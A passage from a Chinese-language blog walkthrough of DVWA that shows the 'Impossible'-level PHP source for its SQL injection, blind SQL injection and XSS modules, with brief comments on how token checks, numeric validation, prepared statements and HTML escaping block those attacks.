        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级检查token

检查输入是否为数字,并预编译sql语句,防止sql注入

// Was a number entered?
if(is_numeric( $id )) {
    // Check the database
    $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
    $data->bindParam( ':id', $id, PDO::PARAM_INT );
    $data->execute();
    $row = $data->fetch();

和预编译的LIMIT 1配合确保返回的结果只有一行

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
    // Get values
    $first = $row[ 'first_name' ];
    $last  = $row[ 'last_name' ];

8. SQL Injection(Blind) – SQL盲注

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级和上一个sql注入的防御措施差不多,使得无法进行sql盲注

9. XSS(Reflected) – 跨站脚本反射型

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级检查token

使用htmlspecialchars()处理传入参数,使得无法构造payload

10. XSS(Stored) – 跨站脚本存储型

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = mysql_real_escape_string( $name );
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级检查token,对messagename都进行全面的转义过滤,使得无法构造payload

并进行sql预编译,防止sql注入

-EOF-
这篇文章的作者Shennoter祝你心情愉快ღゝ◡╹)ノ♡♪(^∇^)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇